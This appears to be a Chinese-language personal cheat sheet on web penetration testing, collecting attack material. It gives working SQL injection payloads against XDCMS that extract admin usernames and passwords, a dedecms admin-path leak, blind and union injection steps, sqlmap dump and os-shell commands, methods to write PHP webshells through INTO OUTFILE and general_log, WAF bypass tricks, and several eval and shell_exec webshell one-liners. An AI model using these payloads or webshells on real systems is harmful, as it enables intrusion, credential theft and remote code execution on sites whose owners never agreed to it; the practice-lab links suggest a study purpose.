web--杂烩
这个笔记有点乱
0x01 cms
- XDCMS
1、SQL注入漏洞
<a>注册会员处的 SQL 注入
/system/modules/member/index.php 中的注册函数 register_save() 过滤不严,可绕过限制造成 SQL 注入
注册时burp一下,然后payload
payload:
' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#
<b>会员资料修改处的 SQL 注入
修改资料时burp一下,然后payload,url编码后的payload插入至truename与%5D之间
payload:%60%3D%28select%20group_concat%28username%2C0x3a%2Cpassword%29%20from%20c_admin%20where%20id%3D1%29%23
即:
`=(select group_concat(username,0x3a,password) from c_admin where id=1)#
- dedecms
1、后台地址信息泄露的漏洞
/data/mysql_error_trace.inc 或 /data/mysqli_error_trace.inc 中,可得到泄露的后台路径
2、md5加密方式
dedecms的20位md5加密算是从32位md5中截取的20位,所以去掉前3位和最后1位,即可获得16位md5值,然后对16位的md5值进行破解便可得到明文字符串。
//即32位的md5值去掉前5位和后7位变成了20位的md5值
0x02 get shell
1、cacls + 文件名
查看某一文件的访问控制列表
2、whoami
查看用户名
3、type + 文件名
查看文件内容
4、cacls + 文件名 + /E /P system:F /C
//将system的权限换为F,并且在出现拒绝访问错误时继续。
0x03 SQL
-
SQL注入主要流程:
可使用+来进行过滤了空格的注入
1、1与1'测试存在注入否
2、1' order by 3# //判断字段数
3、1' union select 1,2# //根据回显判断存在注入的点
4、1' union select version(),2# //注入出存在的数据库的类型和版本
5、1' union select table_name,2 from information_schema.tables where table_schema=database()# //注入出所需的表名
6、1' union select column_name,2 from information_schema.columns where table_schema='所需的表名'# //注入出所需要的列名
7、1' union select group_concat(password,0x3a,user) from 某个数据库# //注入出用户名密码等所需信息 -
SQL注入小技巧:
1、得到mysql版本信息:
@@version或version()
如果出错,可采用unhex(hex(@@version))或unhex(hex(version()))
2、得到用户,数据库信息
user()与database()
3、information_schema(MySQL 5特有)
保存有关DB服务器中存在的表和列的信息的表
table_name from information_schema.tables //获取表列表
column_name from information_schema.columns //获取列列表
column_name from information_schema.columns where table_name='某个特定表名' //获取特定表中的列
4、concat的连接作用使查询结果更直观
select concat(username,0x3a,password),2 from '某个已知表' //得到的查询结果为:username:password
5、MySQL 4
只能一个个的试表名,根据错误提示给的表名和列名进行下一步注入
值得尝试的一些表名:user(s),table_user(s),tbluser(s),tbladmin(s),admin(s),members。 -
系统表:sys.objects和sys.columns
-
修改数据库的三个命令:
1、updata:更改现有数据
2、delete:删除指定数据
3、drop:删除指定表
4、“ ;”:可以连接两个操作 -
关闭MySQL服务器
shutdown with nowait -
加载服务器的指定文件
load_file('指定文件名') //eg:etc/passwd,htaccess,htpasswd,有时需进行hex处理 -
获取mysql.version>5的root权限
1>查询数据平台用户名和密码:union+all+select+concat(user,0x3a,password),2+from+mysql.user#
2>菜刀连接:1' union select 1,'<?php @eval($_POST["pass"])?>' into outfile '1.php'# -
sqlmap使用
1、sqlmap.py -u url --dbs //查看数据库名
2、slqmap.py -u url -D 某个数据库名 --table //查看某个数据库下的所有表
3、sqlmap.py -u url -D 某个数据库名 -T 数据库下的某个表 --column //查看数据库下的列
4、sqlmap.py -u url -D 某个数据库名 -T 某个表 --dump //导出数据
5、sqlmap.py -u url -D 某个数控库名 --count //数据库中表的详细记录统计
6、sqlmap.py -u url --sql-shell //通过sql-shell执行查询命令 -
php网站webshell获取三种方式
<1>通过phpmyadmin登陆执行导出获取
select '<?php @eval($_POST["pass"]);?>'INTO OUTFILE 'www文件路径/a.php'
<2>general_log配置文件获取
show global variable like "%genera%"; //查看genera文件配置情况
set global general_log=off; //关闭general_log
set global general_log='on'; //通过general_log选项来获取webshell
SET global general_log_file='www文件路径/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
<3>sqlmap os-shell获取 //对于root账号,可以通过其来获取webshell
sqlmap -u url --os-shell
/*物理路径获取*/
info.php来获取www文件路径
- 9种绕过WAF的方式
1、sql语句大小写混用;
2、在关键字中间插入将会被WAF过滤的字符;
3、sqsl语句编码后再输入(URL encode,Hex encode,Unicode encode);
4、使用注释 /!攻击关键字符/;
5、等价函数替代过滤掉的函数和命令;
6、使用特殊符号;
7、HTTP参数控制,提供多个参数名相同,参数值不同的值集来混淆WAF(HPP、HPF、HPC);
8、缓冲区溢出,使WAF崩溃;
9、整合绕过
-
SQL盲注
//页面根据sql语句是否执行成功,只返回true或false
//相关函数:
left(x,y):获取x的前y位
substr(x,y,z):获取x的从y开始的z个字段
ascii()/ord():得到字符的ascii值
limit():LIMIT后的第一个参数是输出记录的初始位置,第二个参数偏移量,偏移多少,输出的条目就是多少
length():返回字符串的长度
//语句
?id=0' /判断是否存在注入点/
?id=0 and length(database())<8# /猜解数据库名的长度,二分法/
?id=0 and (ascii(substr(database(),1,1)))<115# /猜解数据库名(这里要从1,1开始,若是0,1发现最后ascii值为0,之后用2,1猜解第二位)/
?id=0 and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101# /猜解security数据库第一个表名的第一个字符,猜解第二个表名则把limit 0,1改limit 1,1即可。(判断表名是否结束可以用>0判断,如果大于0都false则表示这个/所有表名猜解完了)/
?id=0 and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=105# /猜解users表的第一个列名的第一个字符,猜解第二个列名则把limit0,1改为limit1,2/
?id=0 and (ascii(substr((select password from users limit 0,1),1,1)))=68# /猜解表user的password列的第一个字符/
//技巧
1、已知表名和列名判断字段长度大小
?id=1 and (select length(keyword) from hackit.level4_secret limit 0,1)<21 #
2、已知表名level4_secret和列名keyword爆出已知列名字段
?id=1 and ascii(substr((select keyword from level4_secret limit 0,1),1,1))<120 # -
资料:
1、基础型文章:
https://www.freebuf.com/articles/web/185274.html
https://blog.csdn.net/u014070086/article/details/64439478
https://www.freebuf.com/column/183546.html
https://segmentfault.com/a/1190000009333563
https://www.freebuf.com/column/178577.html
https://www.freebuf.com/column/173518.html
https://www.freebuf.com/vuls/181537.html
2、进阶型文章:
https://www.freebuf.com/articles/web/163783.html
https://www.freebuf.com/news/139288.html
https://www.freebuf.com/articles/web/137094.html
https://www.freebuf.com/column/150973.html
https://www.freebuf.com/column/151691.html
https://bbs.ichunqiu.com/thread-31587-1-1.html
https://bbs.ichunqiu.com/thread-31385-1-1.html
3、总结型文章:
https://search.freebuf.com/search/?search=sql%E6%B3%A8%E5%85%A5#article
4、练习网址:
http://redtiger.labs.overthewire.org/
https://github.com/Audi-1/sqli-labs
0x04 渗透
- 马
<?php
echo '>1';
?>
<?php
$a="${phpinfo()}";
echo "$a";
?>
<?php
if(strlen($_GET[1])<9){
echo shell_exec($_GET[1]);
}
?>
<?php @eval($_POST[value]);?>
<?php eval($_GET["cmd"]);?>
- some url
https://github.com/SecWiki/
https://github.com/ysrc
https://github.com/ring04h
https://github.com/n0tr00t
https://github.com/lijiejie
https://github.com/Lucifer1993/AngelSword
https://github.com/rootphantomer/Blasting_dictionary
https://github.com/bit4woo/passmaker
https://github.com/netxfly/crack_ssh
https://github.com/neoneggplant/EggShell
https://github.com/nullsecuritynet/tools
https://github.com/Adastra-thw/pyHacks
https://github.com/Ms0x0/Dayu
https://github.com/Xyntax/1000php
https://github.com/l3m0n/pentest_study
https://github.com/firesunCN/BlueLotus_XSSReceiver
https://github.com/Chora10/Cknife